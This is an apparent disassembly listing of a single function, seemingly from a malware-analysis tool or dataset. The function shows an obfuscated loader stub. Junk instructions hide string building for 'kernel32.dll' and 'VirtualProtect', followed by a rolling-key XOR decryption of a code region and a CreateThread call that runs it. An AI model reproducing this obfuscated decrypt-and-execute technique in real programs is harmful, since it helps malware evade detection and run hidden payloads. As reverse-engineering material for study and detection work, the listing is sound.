Function at 0x45ff8e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
xchg ebx, ebx
call fcn.004603ac
xchg esi, ecx
xchg ecx, esi
push ecx
pop ecx
lea eax, [ebp - 0xd8]
pushfd
xor edx, 0xc7dcea10
xor edx, 0xc7dcea10
popfd
pushfd
inc edi
dec edi
popfd
mov ebx, 0x61
pushfd
push ebx
add esp, 4
popfd
add bx, 0xa
pushfd
xor esi, 0xd86ff66b
xor esi, 0xd86ff66b
popfd
xchg ebx, edi
xchg edi, ebx
mov word [eax], bx
pushfd
push 0xd1870749
add esp, 4
popfd
sub bx, 6
push ebx
pop ebx
pushfd
push 0x6ee0faf6
add esp, 4
popfd
mov word [eax + 2], bx
xchg edi, edi
nop
add bx, 0xd
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 4], bx
push ecx
pop ecx
mov ebx, ebx
sub bx, 4
push esi
pop esi
pushfd
inc eax
dec eax
popfd
mov word [eax + 6], bx
pushfd
push 0x665b60ea
add esp, 4
popfd
xchg esi, eax
xchg esi, eax
sub bx, 9
push edx
push edi
pop edi
pop edx
mov eax, eax
mov word [eax + 8], bx
pushfd
xor eax, 0xd45a7ca9
xor eax, 0xd45a7ca9
popfd
add bx, 7
pushfd
xor esi, 0x791b435
xor esi, 0x791b435
popfd
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 0xa], bx
push ebx
push esi
pop esi
pop ebx
sub bx, 0x39
pushfd
inc eax
dec eax
popfd
pushfd
inc edx
dec edx
popfd
mov word [eax + 0xc], bx
pushfd
xor edx, 0x691c1d1
xor edx, 0x691c1d1
popfd
pushfd
inc ebx
dec ebx
popfd
dec bx
nop
push esi
pop esi
mov word [eax + 0xe], bx
pushfd
push 0xb6906d3b
add esp, 4
popfd
mov edi, edi
sub bx, 4
pushfd
push 0x290a6115
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
mov word [eax + 0x10], bx
pushfd
push edi
add esp, 4
popfd
add bx, 0x36
xchg ebx, esi
xchg esi, ebx
mov word [eax + 0x12], bx
mov esi, esi
add bx, 8
xchg edi, edi
mov word [eax + 0x14], bx
mov edx, edx
mov ecx, ecx
mov word [eax + 0x16], bx
xchg edx, ebx
xchg ebx, edx
mov word [eax + 0x18], 0
mov esi, esi
mov esi, esi
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push ecx
add esp, 4
popfd
pushfd
inc esi
dec esi
popfd
mov dword [ebp - 0x10], eax
pushfd
xor esi, 0xd1a37ac4
xor esi, 0xd1a37ac4
popfd
lea eax, [ebp - 0xd8]
xchg ecx, esi
xchg esi, ecx
xchg ebx, ebx
mov ebx, 0x61
push edi
pop edi
sub bl, 0xb
pushfd
xor edx, 0xfd2bbd6
xor edx, 0xfd2bbd6
popfd
mov byte [eax], bl
mov eax, eax
add bl, 0x13
pushfd
xor edi, 0xd7f9199d
xor edi, 0xd7f9199d
popfd
mov byte [eax + 1], bl
push eax
pop eax
pushfd
push ecx
add esp, 4
popfd
add bl, 9
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 2], bl
pushfd
xor edx, 0xcd209eff
xor edx, 0xcd209eff
popfd
add bl, 2
pushfd
push 0x6a42af2c
add esp, 4
popfd
mov byte [eax + 3], bl
pushfd
inc esi
dec esi
popfd
inc bl
pushfd
inc esi
dec esi
popfd
mov byte [eax + 4], bl
pushfd
push ebx
add esp, 4
popfd
sub bl, 0x14
push ebx
push ecx
pop ecx
pop ebx
push ecx
pop ecx
mov byte [eax + 5], bl
pushfd
inc eax
dec eax
popfd
add bl, 0xb
pushfd
push eax
add esp, 4
popfd
push eax
push ebx
pop ebx
pop eax
mov byte [eax + 6], bl
push ecx
push eax
pop eax
pop ecx
pushfd
inc ebx
dec ebx
popfd
sub bl, 0x1c
xchg ecx, ebx
xchg ebx, ecx
mov byte [eax + 7], bl
pushfd
push 0x6508a9f
add esp, 4
popfd
add bl, 0x22
pushfd
push 0xfccd26f2
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
mov byte [eax + 8], bl
pushfd
inc eax
dec eax
popfd
push eax
push edi
pop edi
pop eax
sub bl, 3
mov esi, esi
pushfd
xor eax, 0xd93c7f9
xor eax, 0xd93c7f9
popfd
mov byte [eax + 9], bl
xchg edx, eax
xchg edx, eax
add bl, 5
xchg edi, eax
xchg edi, eax
pushfd
xor ebx, 0x57255fb2
xor ebx, 0x57255fb2
popfd
mov byte [eax + 0xa], bl
pushfd
push ecx
add esp, 4
popfd
sub bl, 0xf
pushfd
inc edi
dec edi
popfd
push ebx
pop ebx
mov byte [eax + 0xb], bl
pushfd
xor edi, 0x678917ee
xor edi, 0x678917ee
popfd
pushfd
push 0xa3f1edb3
add esp, 4
popfd
sub bl, 2
push ebx
push edi
pop edi
pop ebx
push edi
pop edi
mov byte [eax + 0xc], bl
xchg edi, edi
add bl, 0x11
push ecx
push eax
pop eax
pop ecx
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 0xd], bl
xchg edi, edi
mov byte [eax + 0xe], 0
xchg edi, ecx
xchg ecx, edi
push ebx
pop ebx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push esi
push edi
pop edi
pop esi
pushfd
push esi
add esp, 4
popfd
mov dword [ebp - 0xc], eax
push edi
pop edi
xchg ebx, eax
xchg ebx, eax
lea eax, [ebp - 8]
pushfd
push 0xac3ddb83
add esp, 4
popfd
push eax
push 4
push 0x3f500
push entry0
call dword [ebp - 0xc]
pushfd
push eax
add esp, 4
popfd
mov edi, entry0
nop
push edx
push ecx
pop ecx
pop edx
mov esi, 0x40100e
xchg esi, eax
xchg esi, eax
mov ecx, 0x3f500
pushfd
push eax
add esp, 4
popfd
push edx
pop edx
mov edx, 0xb870c7e9
pushfd
inc edx
dec edx
popfd
mov ebx, 0x5e57484d
pushfd
push 0x1313ed2b
add esp, 4
popfd
cld
mov ebx, ebx
lodsb al, byte [esi]
mov ebx, ebx
xor al, dl
nop
stosb byte es:[edi], al
mov edi, edi
ror edx, 5
mov edi, edi
imul edx, edx, 7
mov ecx, ecx
test ebx, 1
mov ebx, ebx
je 0x4602fa
nop
add esi, 1
nop
ror ebx, 1
mov esi, esi
dec ecx
mov ecx, ecx
test ecx, ecx
mov edi, edi
jne 0x4602d6
pushfd
inc esi
dec esi
popfd
xchg ebx, ebx
lea eax, [ebp - 8]
mov ebx, ebx
push eax
push 0x20
push 0x3f500
push entry0
call dword [ebp - 0xc]
pushfd
inc eax
dec eax
popfd
pushfd
push 0xdda98e3f
add esp, 4
popfd
lea eax, [ebp - 4]
xchg ecx, esi
xchg esi, ecx
pushfd
xor ebx, 0xb4aa9633
xor ebx, 0xb4aa9633
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
push edx
push ecx
pop ecx
pop edx
pushfd
push edx
add esp, 4
popfd
pushfd
xor ebx, 0x86712871
xor ebx, 0x86712871
popfd
pushfd
push 0xcef09309
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg edi, ebx
xchg ebx, edi
jmp 0x460363